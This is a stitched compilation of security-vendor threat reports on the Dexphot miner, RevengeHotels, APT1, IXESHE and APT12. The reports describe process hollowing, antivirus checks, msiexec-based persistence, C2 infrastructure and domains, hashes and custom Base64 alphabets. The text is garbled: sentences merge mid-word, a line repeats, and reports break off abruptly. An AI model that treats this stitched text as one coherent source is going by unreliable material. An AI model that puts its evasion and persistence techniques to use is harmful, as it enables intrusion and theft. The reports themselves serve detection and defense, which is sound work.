During the execution stage , Dexphot writes five key files to disk :1 、An installer with two URLs ;2 、An MSI package file downloaded from one of the URLs ;3 、A password-protected ZIP archive ;4 、A loader DLL , which is extracted from the archive ;5 、An encrypted data file that holds three additional executables that are loaded into system processes via process hollowing .
Except for the installer , the other processes that run during execution are legitimate system processes .
This can make detection and remediation more difficult .
These legitimate system processes include msiexec.exe ( for installing MSI packages ) , unzIP .
exe ( for extracting files from the password-protected ZIP archive ) , rundll32.exe ( for loading the loader DLL ) , schtasks.exe ( for scheduled tasks ) , powershell.exe ( for forced updates ) .
In later stages , Dexphot targets a few other system processes for process hollowing : svchost.exe , tracert.exe , and setup.exe .
Based on Microsoft Defender ATP signals , SoftwareBundler : Win32/ICLoader and its variants are primarily used to drop and run theThe installer uses two URLs to download malicious payloads .
These are the same two URLs that Dexphot use later to establish persistence , update the malware , and re-infect the device .
The installer downloads an MSI package from one of the two URLs , and then launches msiexec.exe to perform a silent install .
This is the first of several instances of Dexphot employing living-off-the-land techniques , the use of legitimate system processes for nefarious purposes .
Dexphot ’s package often contains an obfuscated batch script .
If the package contains this file , the script is the first thing that msiexec.exe runs when it begins the installation process .
The said obfuscated script is designed to check for antivirus products .
Dexphot halts the infection process immediately if an antivirus product is found running .
When we first began our research , the batch script only checked for antivirus products from Avast and AVG .
Later , Windows Defender Antivirus was added to the checklist .
If the process is not halted , Dexphot decompresses the password-protected ZIP archive from the MSI package .
The password to this archive is within the MSI package .
Along with the password , the malware ’s authors also include a clean version of unzIP .
exe so that they do n’t have to rely on the target system having a ZIP utility .
The unzIP .
exe file in the package is usually named various things , such as z.exe or ex.exe , to avoid scrutiny .
The ZIP archive usually contains three files : the loader DLL , an encrypted data file ( usually named bin.dat ) , and , often , one clean unrelated DLL , which is likely included to mislead detection .
Dexphot usually extracts the decompressed files to the target system ’s Favorites folder .
The files are given new , random names , which are generated by concatenating words and numbers based on the time of execution ( for example , C:\Users\<user>\Favorites\\Res.Center.ponse\<numbers> ) .
Msiexec.exe next calls rundll32.exe , specifying loader( urlmon.7z in the example above ) in order to decrypt the data file .
The decryption process involves ADD and XOR operations , using a key hardcoded in the binary .
The decrypted data contains three executables .
Unlike the files described earlier , these executables are never written to the filesystem .
Instead , they exist only in memory , and Dexphot runs them by loading them into other system processes via process hollowing .
Process hollowing is a technique that can hide malware within a legitimate system process .
It replaces the contents of the legitimate process with malicious code .
Detecting malicious code hidden using this method is not trivial , so process hollowing has become a prevalent technique used by malware today .
This method has the additional benefit of being fileless : the code can be run without actually being saved on the file system .
Not only is it harder to detect the malicious code while it ’s running , it ’s harder to find useful forensics after the process has stopped .
To initiate process hollowing , the loadertargets two legitimate system processes , for example svchost.exe or nslookup.exe , and spawns them in a suspended state .
replaces the contents of these processes with the first and second decrypted executables .
These executables are monitoring services for maintaining Dexphot ’s components .
The now-malicious processes are released from suspension and run .
Next , the loadertargets the setup.exe file in SysWoW64 .
It removes setup.exe ’s contents and replaces them with the third decrypted executable , a cryptocurrency miner .
Although Dexphot always uses a cryptocurrency miner of some kind , it ’s not always the same miner .
It used different programs like XMRig and JCE Miner over the course of our research .
The two monitoring services simultaneously check the status of all three malicious processes .
Having dual monitoring services provides redundancy in case one of the monitoring processes is halted .
If any of the processes are terminated , the monitors immediately identify the situation , terminate all remaining malicious processes , and re-infect the device .
The monitoring components also detect freshly launched cmd.exe processes and terminate them promptly .
As a final fail-safe , Dexphot uses schtasks.exe to create scheduled tasks .
This persistence technique is interesting , because it employs two distinct MITRE ATT&CK techniques : Scheduled Task and Signed Binary Proxy Execution .
The scheduled tasks call msiexec.exe as a proxy to run the malicious code , much like how msiexec.exe was used during installation .
Using msiexec.exe , a legitimate system process , can make it harder to trace the source of malicious activity .
Furthermore , the tasks allow Dexphot to conveniently update the payload from the web every time the tasks run .
They automatically update all of Dexphot ’s components , both upon system reboot as well as every 90 or 110 minutes while the system is running .
Dexphot also generates the names for the tasks at runtime , which means a simple block list of hardcoded task names will not be effective in preventing them from running .
The names are usually in a GUID format , although after we released our first round of Dexphot-blocking protections , the threat authors began to use random strings .
The threat authors have one more evasion technique for these scheduled tasks : some Dexphot variants copy msiexec.exe to an arbitrary location and give it a random name , such as %AppData%\<random>.exe .
This makes the system process running malicious code a literal moving target .
Dexphot exhibits multiple layers of polymorphism across the binaries it distributes .
For example , the MSI package used in the campaign contains different files , as shown in the table below .
The MSI packages generally include a clean version of unzIP .
exe , a password-protected ZIP file , and a batch file that checks for currently installed antivirus products .
However , the batch file is not always present , and the names of the ZIP files and Loader DLLs , as well as the password for extracting the ZIP file , all change from one package to the next .
In addition , the contents of each Loaderdiffers from package to package , as does the encrypted data included in the ZIP file .
This leads to the generation of a different ZIP archive and , in turn , a unique MSI package , each time the attacker bundles the files together .
Because of these carefully designed layers of polymorphism , a traditional file-based detection approach wouldn’t be effective against Dexphot .
Besides tracking the files and processes that Dexphot uses to execute an attack , we have also been monitoring the domains used to host malicious payloads .
The URLs used for hosting all follow a similar pattern .
The domain address usually ends in a .info or .net TLD , while the file name for the actual payload consists of random characters , similar to the randomness previously seen being used to generate file names and scheduled tasks .
Many of the URLs listed were in use for an extended period .
However , the MSI packages hosted at each URL are frequently changed or updated .
In addition , every few days more domains are generated to host more payloads .
After a few months of monitoring , we were able to identify around 200 unique Dexphot domains .
Dexphot is not the type of attack that generates mainstream media attention ; it ’s one of the countless malware campaigns that are active at any given time .
Its goal is a very common one in cybercriminal circles — to install a coin miner that silently steals computer resources and generates revenue for the attackers — yet Dexphot exemplifies the level of complexity and rate of evolution of even everyday threats , intent on evading protections and motivated to fly under the radar for the prospect of profit .
To combat threats , several next-generation protection engines in Microsoft Defender Advanced Threat Protection ’s antivirus component detect and stop malicious techniques at multiple points along the attack chain .
For Dexphot , machine learning-based detections in the cloud recognize and block the DLLs loaded by rundll32.exe , stopping the attack chain in its early stages .
Memory scans detect and terminate the loading of malicious code hidden by process hollowing — including the monitoring processes that attempt to update the malware code and re-infect the machine via PowerShell commands .
Behavioral blocking and containment capabilities are especially effective in defeating Dexphot ’s fileless techniques , detection evasion , and persistence mechanisms , including the periodic and boot-time attempts to update the malware via scheduled tasks .
As mentioned , given the complexity of the attack chain and of Dexphot ’s persistence methods , we released a remediation solution that prevents re-infection by removing artifacts .
The detection , blocking , and remediation of Dexphot on endpoints are exposed in Microsoft Defender Security Center , where Microsoft Defender ATP ’s rich capabilities like endpoint detection and response , automated investigation and remediation , and others enable security operations teams to investigate and remediate attacks in enterprise environments .
With these capabilities , Microsoft Defender ATP provides comprehensive protection against Dexphot and the countless other complex and evolving threats that we face every day .
Dexphot : 72acaf9ff8a43c68416884a3fff3b23e749b4bb8fb39e16f9976643360ed391f .
Dexphot : 22beffb61cbdc2e0c3eefaf068b498b63a193b239500dab25d03790c467379e3 .
Dexphot : 65eac7f9b67ff69cefed288f563b4d77917c94c410c6c6c4e4390db66305ca2a .
Dexphot : ba9467e0d63ba65bf10650a3c8d36cd292b3f846983032a44a835e5966bc7e88 .
Dexphot : 537d7fe3b426827e40bbdd1d127ddb59effe1e9b3c160804df8922f92e0b366e .
Dexphot : 504cc403e0b83233f8d20c0c86b0611facc040b868964b4afbda3214a2c8e1c5 .
Dexphot : aa5c56fe01af091f07c56ac7cbd240948ea6482b6146e0d3848d450977dff152 .
RevengeHotels : cybercrime targeting hotel front desks worldwide .
RevengeHotels is a targeted cybercrime malware campaign against hotels , hostels , hospitality and tourism companies , mainly , but not exclusively , located in Brazil .
We have confirmed more than 20 hotels that are victims of the group , located in eight states in Brazil , but also in other countries such as Argentina , Bolivia , Chile , Costa Rica , France , Italy , Mexico , Portugal , Spain , Thailand and Turkey .
The goal of the campaign is to capture credit card data from guests and travelers stored in hotel systems , as well as credit card data received from popular online travel agencies ( OTAs ) such as Booking.com .
The main attack vector is via email with crafted Word , Excel or PDF documents attached .
Some of them exploit CVE-2017-0199 , loading it using VBS and PowerShell scripts and then installing customized versions of RevengeRAT , NjRAT , NanoCoreRAT , 888 RAT and other custom malware such as ProCC in the victim ’s machine .
The group has been active since 2015 , but increased its attacks in 2019 .
In our research , we were also able to track two groups targeting the hospitality sector , using separate but similar infrastructure , tools and techniques .
PaloAlto has already written about one of them .
We named the first group RevengeHotels , and the second ProCC .
These groups use a lot of social engineering in their attacks , asking for a quote from what appears to be a government entity or private company wanting to make a reservation for a large number of people .
Their infrastructure also relies on the use of dynamic DNS services pointing to commercial hosting and self-hosted servers .
They also sell credentials from the affected systems , allowing other cybercriminals to have remote access to hotel front desks infected by the campaign .
We monitored the activities of these groups and the new malware they are creating for over a year .
With a high degree of confidence , we can confirm that at least two distinct groups are focused on attacking this sector ; there is also a third group , though it is unclear if its focus is solely on this sector or if carries out other types of attacks .
One of the tactics used in operations by these groups is highly targeted spear-phishing messages .
They register typo-squatting domains , impersonating legitimate companies .
The emails are well written , with an abundance of detail .
They explain why the company has chosen to book that particular hotel .
By checking the sender information , it ’s possible to determine whether the company actually exists .
However , there is a small difference between the domain used to send the email and the real one .
This spear-phishing message , written in Portuguese , has a malicious file attached misusing the name of a real attorney office , while the domain sender of the message was registered one day before , using a typo-squatting domain .
The group goes further in its social engineering effort : to convince the hotel personnel about the legitimacy of their request , a copy of the National Registry of Legal Entities card ( CNPJ ) is attached to the quotation .
The attached file , Reserva Advogados Associados.docx ( Attorneys Associates Reservation.docx ) , is a malicious Word file that drops a remote OLE object via template injection to execute macro code .
The macro code inside the remote OLE document contains PowerShell commands that download and execute the final payload .
In the RevengeHotels campaign , the downloaded files are .NET binaries protected with the Yoda Obfuscator .
After unpacking them , the code is recognizable as the commercial RAT RevengeRAT .
An additional module written by the group called ScreenBooking is used to capture credit card data .
It monitors whether the user is browsing the web page .
In the initial versions , back in 2016 , the downloaded files from RevengeHotels campaigns were divided into two modules : a backdoor and a module to capture screenshots .
Recently we noticed that these modules had been merged into a single backdoor module able to collect data from clipboard and capture screenshots .
In this example , the webpage that the attacker is monitoring is booking.com ( more specifically , the page containing the card details ) .
The code is specifically looking for data in Portuguese and English , allowing the attackers to steal credit card data from web pages written in these languages .
In the ProCC campaigns , the downloaded files are Delphi binaries .
The backdoor installed in the machine is more customized than that used by RevengeHotels : it ’s developed from scratch and is able to collect data from the clipboard and printer spooler , and capture screenshots .
Because the personnel in charge of confirming reservations usually need to pull credit card data from OTA websites , it ’s possible to collect card numbers by monitoring the clipboard and the documents sent to the printer .
According to the relevant underground forums and messaging groups , these criminals also infect front desk machines in order to capture credentials from the hotel administration software ; they can then steal credit card details from it too .
Some criminals also sell remote access to these systems , acting as a concierge for other cybercriminals by giving them permanent access to steal new data by themselves .
Some Brazilian criminals tout credit card data extracted from a hotel ’s system as high quality and reliable because it was extracted from a trusted source , i.e. , a hotel administration system .
The majority of the victims are associated with the hospitality sector .
Based on the routines used , we estimate that this attack has a global reach .
Based on data extracted from Bit.ly statistics , we can see that potential victims from many other countries have at least accessed the malicious link .
This data suggests that the number of countries with potential victims is higher than our telemetry has registered .
RevengeHotels is a campaign that has been active since at least 2015 , revealing different groups using traditional RAT malware to infect businesses in the hospitality sector .
While there is a marked interest in Brazilian victims , our telemetry shows that their reach has extended to other countries in Latin America and beyond .
The use of spear-phishing emails , malicious documents and RAT malware is yielding significant results for at least two groups we have identified in this campaign .
Other threat actors may also be part of this wave of attacks , though there is no confirmation at the current time .
If you want to be a savvy and safe traveler , it ’s highly recommended to use a virtual payment card for reservations made via OTAs , as these cards normally expire after one charge .
While paying for your reservation or checking out at a hotel , it ’s a good idea to use a virtual wallet such as Apple Pay , Google Pay , etc .
RevengeHotels : 74440d5d0e6ae9b9a03d06dd61718f66 .
RevengeHotels : e675bdf6557350a02f15c14f386fcc47 .
RevengeHotels : df632e25c32e8f8ad75ed3c50dd1cd47 .
RevengeHotels : a089efd7dd9180f9b726594bb6cf81ae .
RevengeHotels : 81701c891a1766c51c74bcfaf285854b .
Since 2004 , Mandiant has investigated computer security breaches at hundreds of organizations around the world.The majority of these security breaches are attributed to advanced threat actors referred to as the “ Advanced Persistent Threat ” ( APT ) .
We first published details about the APT in our January 2010 M-Trends report .
As we stated in there port , our position was that “ The Chinese government may authorize this activity , but there ’s no way to determine the extent of its involvement. ” Now , three years later , we have the evidence required to change our assessment .
The details we have analyzed during hundreds of investigations convince us that the groups conducting these activities are based primarily in China and that the Chinese Government is aware of them .
Mandiant continues to track dozens of APT groups around the world ; however , this report is focused on the most prolific of these groups .
We refer to this group as “ APT1 ” and it is one of more than 20 APT groups with origins inChina .
APT1 is a single organization of operators that has conducted a cyber espionage campaign against a broad range of victims since at least 2006 .
From our observations , it is one of the most prolific cyber espionage groups in terms of the sheer quantity of information stolen .
The scale and impact of APT1 ’s operations compelled us to write this report .
The activity we have directly observed likely represents only a small fraction of the cyber espionage that APT1 has conducted .
Though our visibility of APT1 ’s activities is incomplete , we have analyzed the group ’s intrusions against nearly 150 victims over seven years .
From our unique vantage point responding to victims , we tracked APT1 back to four large networks in Shanghai , two of which are allocated directly to the Pudong New Area .
We uncovered a substantial amount of APT1 ’s attack infrastructure , command and control , and modus operandi ( tools , tactics , and procedures ) .
In an effort to underscore there are actual individuals behind the keyboard , Mandiant is revealing three personas we have attributed to APT1 .
These operators , like soldiers , may merely be following orders given to them by others .
Our analysis has led us to conclude that APT1 is likely government-sponsored and one of the most persistent of China ’s cyber threat actors .
We believe that APT1 is able to wage such a long-running and extensive cyber espionage campaign in large part because it receives direct government support .
In seeking to identify the organization behind this activity ,our research found that People ’s Liberation Army ( PLA ’s ) Unit 61398 is similar to APT1 in its mission , capabilities , and resources .
PLA Unit 61398 is also located in precisely the same area from which APT1 activity appears to originate .
APT1 is believed to be the 2nd Bureau of the People ’s Liberation Army ( PLA ) General Staff Department ’s ( GSD ) 3rd Department , which is most commonly known by its Military Unit Cover Designator ( MUCD ) as Unit 61398 .
The nature of “ Unit 61398 ’s ” work is considered by China to be a state secret ; however , we believe it engages in harmful “ Computer Network Operations. ” Unit 61398 is partially situated on Datong Road in Gaoqiaozhen , which is located in the Pudong New Area of Shanghai .
The central building in this compound is a 130,663 square foot facility that is 12 stories high and was built in early 2007 .
APT1 has systematically stolen hundreds of terabytes of data from at least 141 organizations , and has demonstrated the capability and intent to steal from dozens of organizations simultaneously .
Since 2006 , Mandiant has observed APT1 compromise 141 companies spanning 20 major industries .
APT1 has a well-defined attack methodology , honed over years and designed to steal large volumes of valuable intellectual property .
Once APT1 has established access , they periodically revisit the victim ’s network over several months or years and steal broad categories of intellectual property , including technology blueprints , proprietary manufacturing processes , test results , business plans , pricing documents , partnership agreements , and emails and contact lists from victim organizations ’ leadership .
APT1 uses some tools and techniques that we have not yet observed being used by other groups including two utilities designed to steal email — GETMAIL and MAPIGET .
Establishing a foothold involves actions that ensure control of the target network ’s systems from outside the network .
APT1 establishes a foothold once email recipients open a malicious file and a backdoor is subsequently installed .
A backdoor is software that allows an intruder to send commands to the system remotely .
In almost every case , APT backdoors initiate outbound connections to the intruder ’s “ command and control ” ( C2 ) server .
APT intruders employ this tactic because while network firewalls are generally adept at keeping malware outside the network from initiating communication with systems inside the network , they are less reliable at keeping malware that is already inside the network from communicating to systems outside .
While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT , the vast majority of the time they use what appear to be their own custom backdoors .
We will describe APT1 ’s backdoors in two categories : “ Beachhead Backdoors ” and “ Standard Backdoors. ”Beachhead backdoors are typically minimally featured .
They offer the attacker a toe-hold to perform simple tasks like retrieve files , gather basic system information and trigger the execution of other more significant capabilities such as a standard backdoor .
APT1 ’s beachhead backdoors are usually what we call WEBC2 backdoors .
WEBC2 backdoors are probably the most well-known kind of APT1 backdoor , and are the reason why some security companies refer to APT1 as the “ Comment Crew. ” A WEBC2 backdoor is designed to retrieve a webpage from a C2 server .
It expects the webpage to contain special HTML tags ; the backdoor will attempt to interpret the data between the tags as commands .
Older versions of WEBC2 read data between HTML comments , though over time WEBC2 variants have evolved to read data contained within other types of tags .
From direct observation , we can confirm that APT1 was using WEBC2 backdoors as early as July 2006 .
However , the first compile time35 we have for WEBC2 is 2004-01-23 , suggesting that APT1 has been crafting WEBC2 backdoors since early 2004 .
Based on the 400+ samples of WEBC2 variants that we have accumulated , it appears that APT1 has direct access to developers who have continually released new WEBC2 variants for over six years .
WEBC2 backdoors are often packaged with spear phishing emails .
Once installed , APT1 intruders have the option to tell victim systems to download and execute additional malicious software of their choice .
WEBC2 backdoors work for their intended purpose , but they generally have fewer features than the “ Standard Backdoors ” described below .
The standard , non-WEBC2 APT1 backdoor typically communicates using the HTTP protocol ( to blend in with legitimate web traffic ) or a custom protocol that the malware authors designed themselves .
These backdoors give APT intruders a laundry list of ways to control victim systems .
The BISCUIT backdoor ( so named for the command “ bdkzt ” ) is an illustrative example of the range of commands that APT1 has built into its “ standard ” backdoors .
APT1 has used and steadily modified BISCUIT since as early as 2007 and continues to use it presently .
Some APT backdoors attempt to mimic legitimate Internet traffic other than the HTTP protocol .
When network defenders see the communications between these backdoors and their C2 servers , they might easily dismiss them as legitimate network traffic .
APT1 maintains an extensive infrastructure of computers around the world .
We have evidence suggesting that APT1 manually controls thousands of systems in support of their attacks , and have directly observed their control over hundreds of these systems .
Although they control systems in dozens of countries , their attacks originate from four large networks in Shanghai — two of which are allocated directly to the Pudong New Area , the home of Unit 61398 .
The sheer number of APT1 IP addresses concentrated in these Shanghai ranges , coupled with Simplified Chinese keyboard layout settings on APT1 ’s attack systems , betrays the true location and language of the operators .
To help manage the vast number of systems they control , APT1 has registered hundreds of domain names , the majority of which also point to a Shanghai locale .
The domain names and IP addresses together comprise APT1 ’s command and control framework which they manage in concert to camouflage their true origin from their English speaking targets .
As covered in the previous “ Attack Lifecycle ” section , WEBC2 backdoor variants download and interpret data stored between tags in HTML pages as commands .
They usually download HTML pages from a system within APT1 ’s hop infrastructure .
We have observed APT1 intruders logging in to WEBC2 servers and manually editing the HTML pages that backdoors will download .
Because the commands are usually encoded and difficult to spell from memory , APT1 intruders typically do not type these strings , but instead copy and paste them into the HTML files .
They likely generate the encoded commands on their own systems before pasting them in to an HTML file hosted by the hop point .
For example , we observed an APT attacker pasting the string “ czo1NA== ” into an HTML page .
That string is the base64 encoded version of “ s : 54 ” , meaning “ sleep for 54 minutes ” ( or hours , depending on the particular backdoor ) .
In lieu of manually editing an HTML file on a hop point , we have also observed APT1 intruders uploading new ( already-edited ) HTML files .
When APT1 attackers are not using WEBC2 , they require a “ command and control ” ( C2 ) user interface so they can issue commands to the backdoor .
This interface sometimes runs on their personal attack system , which is typically in Shanghai .
In these instances , when a victim backdoor makes contact with a hop , the communications need to be forwarded from the hop to the intruder ’s Shanghai system so the backdoor can talk to the C2 server software .
We have observed 767 separate instances in which APT1 intruders used the publicly available “ HUC Packet Transmit Tool ” or HTRAN on a hop .
As always , keep in mind that these uses are confirmed uses , and likely represent only a small fraction of APT1 ’s total activity .
The HTRAN utility is merely a middle-man , facilitating connections between the victim and the attacker who is using the hop point .
Typical use of HTRAN is fairly simple : the attacker must specify the originating IP address ( of his or her workstation in Shanghai ) , and a port on which to accept connections .
For example , the following command , which was issued by an APT1 actor , will listen for incoming connections on port 443 on the hop and automatically proxy them to the Shanghai IP address 58.247.242.254 on port 443 .
Occasionally , APT1 attackers have installed C2 server components on systems in their hop infrastructure rather than forwarding connections back to C2 servers in Shanghai .
In these instances they do not need to use a proxy tool like HTRAN to interact with victim systems .
However , it does mean that the intruders need to be able to interface with the ( often graphical ) C2 server software running on the hop .
We have observed APT1 intruders log in to their hop point , start the C2 server , wait for incoming connections , and then proceed to give commands to victim systems .
WEBC2 variants may include a server component that provides a simple C2 interface to the intruder .
This saves the intruder from having to manually edit webpages .
That is , this server component receives connections from victim backdoors , displays them to the intruder , and then translates the intruder ’s commands into HTML tags that the victim backdoors read .
In the last two years alone , we have confirmed 937 APT1 C2 servers — that is , actively listening or communicating programs — running on 849 distinct IP addresses .
However , we have evidence to suggest that APT1 is running hundreds , and likely thousands , of other servers ( see the Domains section below ) .
The programs acting as APT1 servers have mainly been : FTP , for transferring files ; web , primarily for WEBC2 ; RDP , for remote graphical control of a system ; HTRAN , for proxying ; and C2 servers associated with various backdoor families .
The Domain Name System ( DNS ) is the phone book of the Internet .
In the same way that people program named contacts into their cell phones and no longer need to remember phone numbers , DNS allows people to remember names like “ google.com ” instead of IP addresses .
When a person types “ google.com ” into a web browser , a DNS translation to an IP address occurs so that the person ’s computer can communicate with Google .
Names that can be translated through DNS to IP addresses are referred to as Fully Qualified Domain Names ( FQDNs ) .
A DNS zone represents a collection of FQDNs that end with the same name , and which are usually registered through a domain registration company and controlled by a single owner .
For example , “ hugesoft.org ” is an FQDN but also represents a zone .
The FQDNs “ ug-co.hugesoft.org ” and “ 7cback.hugesoft.org ” are part of the “ hugesoft.org ” zone and are called “ subdomains ” of the zone .
The person who registered “ hugesoft.org ” may add as many subdomains as they wish and controls the IP resolutions of these FQDNs .
APT1 has registered at least 107 zones since 2004 .
Within these zones , we know of thousands of FQDNs that have resolved to hundreds of IP addresses ( which we suspect are hops ) and in some instances to APT1 ’s source IP addresses in Shanghai .
The first zone we became aware of was “ hugesoft.org ” , which was registered through eNom , Inc. in October 2004 .
The registrant supplied “ uglygorilla@163.com ” as an email address .
The supplied registration information , which is still visible in public “ whois ” data as of February 3, 2013 .
The supplied registrant information does not need to be accurate for the zone to be registered successfully .
For example , “ shanghai ” is not a street name .
Nevertheless , it is noteworthy that Shanghai appeared in the first known APT1 domain registration , along with a phone number that begins with China ’s “ +86 ” international code .
In fact , Shanghai was listed as the registrant ’s city in at least 24 of the 107 ( 22% ) registrations .
Overall , the combination of a relatively high number of “ Shanghai ” registrations with obviously false registration examples in other registrations suggests a partially uncoordinated domain registration campaign from 2004 until present , in which some registrants tried to fabricate non-Shanghai locations but others did not .
This is supported by contextual information on the Internet for the email address “ lfengg@163.com , ” which was supplied in the registration information for seven of the 107 zones .
On the site “ www.china-one.org , ” the email address “ lfengg@163.com ” appears as the contact for the Shanghai Kai Optical Information Technology Co. , Ltd. , a website production company located in a part of Shanghai that is across the river from PLA Unit 61398 .
About half of APT1 ’s known zones were named according to three themes : news , technology and business .
These themes cause APT1 command and control addresses to appear benign at first glance .
However , we believe that the hundreds of FQDNs within these zones were created for the purpose of APT1 intrusions .
( Note : these themes are not unique to APT1 or even APT in general .
) The news-themed zones include the names of well-known news media outlets such as CNN , Yahoo and Reuters .
However , they also include names referencing English-speaking countries , such as “ aunewsonline.com ” ( Australia ) , “ canadatvsite.com ” ( Canada ) , and “ todayusa.org ” ( U.S .
) .
Below is a list of zones registered by APT1 that are newsthemed :aoldaily.com aunewsonline.com canadatvsite.com canoedaily.com cnndaily.com cnndaily.net cnnnewsdaily.com defenceonline.net freshreaders.net giftnews.org reutersnewsonline.com rssadvanced.org saltlakenews.org sportreadok.net todayusa.org usapappers.com usnewssite.com yahoodaily.com .
The technology-themed zones reference well-known technology companies ( AOL , Apple , Google , Microsoft ) , antivirus vendors ( McAfee , Symantec ) , and products ( Blackberry , Bluecoat ) .
APT1 also used more generic names referencing topics like software :globalowa.com gmailboxes.com hugesoft.org idirectech.com ifexcel.com infosupports.com livemymsn.com mcafeepaying.com microsoft-update-info.com micyuisyahooapis.com msnhome.org pcclubddk.net progammerli.com softsolutionbox.net symanteconline.net webservicesupdate.com .
Finally , some zones used by APT1 reflect a business theme .
The names suggest websites that professionals might visit :advanbusiness.com businessconsults.net businessformars.com companyinfosite.com conferencesinfo.com copporationnews.com .
APT1 intruders often use the FQDNs that are associated with legitimate websites hosted by their hop points .
We consider these domains to be “ hijacked ” because they were registered by someone for a legitimate reason , but have been leveraged by APT1 for malicious purposes .
APT1 uses hijacked FQDNs for two main purposes .
First , they place malware ( usually in ZIP files ) on the legitimate websites hosted on the hop point and then send spear phishing emails with a link that includes the legitimate FQDN .
This research paper will delve into another prominent group of attackers referred to as “ IXESHE ” ( pronounced “ i-sushi ” ) , based on one of the more common detection names security companies use for the malware they utilize .
This campaign is notable for targeting East Asian governments , electronics manufacturers , and a telecommunications company .
The IXESHE campaign makes use of targeted emails with malicious attachments to compromise victims ’ systems .
The emails are often tailored for specific victims and contain malicious attachments that are almost always “ weaponized ” .PDF files with known exploits that drop malware executables onto targeted systems .
In addition , the IXESHE attackers conducted two specific attacks that leveraged zero-day exploits—one in 2009 and another in 2011 .
The IXESHE attackers almost always make use of compromised servers as command-and-control ( C&C ) servers .
In some cases , the compromised servers are hosted on target organizations ’ networks after successful infiltration so the attackers can increase their control of the victims ’ infrastructure .
Using this approach , the attackers amassed at least 60 C&C servers over time .
This technique also allows the attackers to cover their tracks , as having the C&C server in the victims ’ corporate networks means very little C&C traffic leaves them .
The attackers ’ deliberate use of compromised machines and dynamic Domain Name System ( DNS ) services allows them to hide traces of their presence by confusing their activities with data belonging to legitimate individuals .
Looking at threat intelligence derived from tracking APT campaigns over time primarily based on the network traffic generated by the malware used , we were able to develop indicators of compromise for the IXESHE campaign .
The malware samples used in this campaign were not very complicated by nature but do give the attackers almost complete control over their targets ’ compromised systems .
Most of the IP addresses of IXESHE ’s victims are linked to DSL networks , which made it difficult to determine their identities .
Careful research , however , allowed the identification of some of the attackers ’ victims : East Asian governments , Taiwanese electronics manufacturers , A telecommunications company .
Campaign victims were identified by using Whois records and open source research .
Trend Micro generally notifies customers that are believed to have been specifically targeted by APT campaigns .
The IXESHE attackers have been actively launching highly targeted attacks since at least July 2009 .
Available data on the IXESHE campaign indicates that targeted emails with malicious .PDF file attachments were the attackers ’ vector of choice .
In most cases , the attacks involved Adobe Acrobat , Reader , and Flash Player exploits such as : CVE-2009-4324 , CVE-2009-0927 , CVE-2011-0609 , CVE-2011-0611 .
It should also be noted that this campaign used CVE-2009-4324 and CVE-2011-0609 exploits when these were still unpatched or considered zero-day vulnerabilities .
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The IXESHE attackers also used an exploit that affected Microsoft Excel — CVE-2009-3129 .
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The IXESHE attackers also used an exploit that affected Microsoft Excel — CVE-2009-3129 .
Every IXESHE case we examined revealed that the original infection vector was a targeted email with a PDF exploit as attachment .
Older versions also used an XLS exploit .
Opening the .PDF file drops and executes a malware in a victim ’s system .
The malware displays a blank .PDF file or a decoy document related to the targeted attack .
The emails normally come from compromised personal accounts or are entirely spoofed .
emails from spoofed senders were usually sent via mail servers in the United States and China .
The malware also sets the executable file ’s attributes to “ Hidden. ” Some of the file names the attackers used include : winhlps.exe , acrotry.exe , AcroRd32.exe , Updater.exe .
In order for the malware to survive rebooting , it normally creates the following registry run key : HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run .
The registry run key , in turn , points to the malware that has been dropped .
The value name of this entry varies from sample to sample .
Some of the names the attackers used for it include : Adobe Assistant , Migrated .
Upon installation , the malware starts communicating with one of its C&C servers .
Most of the samples appeared to have at least three C&C servers hard coded for redundancy .
Some samples alternatively use an FGKD.jsp or an FPK.jsp file .
The Base64 blob is of particular interest .
It makes use of a custom Base64 alphabet .
Once decoded , this blob reveals a standardized structure of the information sent to the registered C&C server , which includes the following details : Computer name , Local IP address , Proxy server IP and port , Malware ID .
To date , we have seen several custom Base64 alphabets , including : +NO5RZaGHviIjhYq8b4ndQ=p012ySTcCDrs/xPgUz67FM3wemKfkJLBo9VtWXlEuA , HZa4vjIiGndQ=p012y+NO5RST/xPgUz67FMhYq8b3wemKfkJLBocCDrs9VtWXlEu , j4vpGZaHnIdQ=i012y+N/zPgUO5RSTx67FMhYb8q3we mKckJLBofCDrs9VtWXlEu , p12kJLBofCDrs9VtWXlEuainyj4vd+=H0GZIQNO5RST/ zPgUx67FMhYb8q3wemKc , aZHGviIj4ndQ=p012y+NO5RST/xPgUz67FMhYq8b3wemKfkJLBocCDrs9VtWXlEu , ZvQIajHi4ndG=p012y+NO5RST/xPgUz67FMhYq8b3wemKfkJLBocCDrs9VtWXlEu .
Some similarities exist across different versions of the Base64 alphabet , which indicates that these are most likely not completely randomly generated .
Instead , the attackers manually cut and pasted older versions after altering some parts .
The malware ID seems to be a campaign code with a different IP address for each attack .
Some of the campaign codes we have seen include : CRML_0505 , CRML_MIL , Firebox4 , JUST_0525 , ML0628 , MW0629 , OM222 .
The IXESHE campaign has been successfully executing targeted attacks since 2009 .
The attackers primarily use malicious .PDF files that exploit vulnerabilities in Adobe Reader , Acrobat , and Flash Player , including the use of two zero-day exploits—one in 2009 and another in 2011 .
While the attackers primarily targeted East Asian governments in the past , they have also started targeting a telecommunications company and electronics manufacturers .
They kept track of their targeted attacks by embedding a “ campaign tag ” in the malware that appears to describe when each attack was launched and , in some cases , the nature of its target .
We found more than 40 of these campaign tags .
The IXESHE attackers are notable for their use of compromised machines within a target ’s internal network as C&C servers .
This helped disguise their activities .
In addition , the attackers ’ use of the proxy tool , HTran , also helped mask their true location .
While their identities remain unknown , the attackers behind the IXESHE campaign demonstrated that they were both determined and capable .
While the malware used in the attacks were not very complicated by nature , these proved very effective .
The attackers referred to as APT12 ( also known as IXESHE , DynCalc , and DNSCALC ) recently started a new campaign targeting organizations in Japan and Taiwan .
APT12 is believed to be a cyber espionage group thought to have links to the Chinese People's Liberation Army .
APT12 's targets are consistent with larger People's Republic of China ( PRC ) goals .
Intrusions and campaigns conducted by this group are in-line with PRC goals and self-interest in Taiwan .
Additionally , the new campaigns we uncovered further highlight the correlation between APT groups ceasing and retooling operations after media exposure , as APT12 used the same strategy after compromising the New York Times in Oct 2012 .
Much like Darwin ’s theory of biological evolution , APT12 been forced to evolve and adapt in order to maintain its mission .
FireEye researchers discovered two possibly related campaigns utilizing two other backdoors known as THREEBYTE and WATERSPOUT .
Both backdoors were dropped from malicious documents built utilizing the “ Tran Duy Linh ” exploit kit , which exploited CVE-2012-0158 .
These documents were also emailed to organizations in Japan and Taiwan .
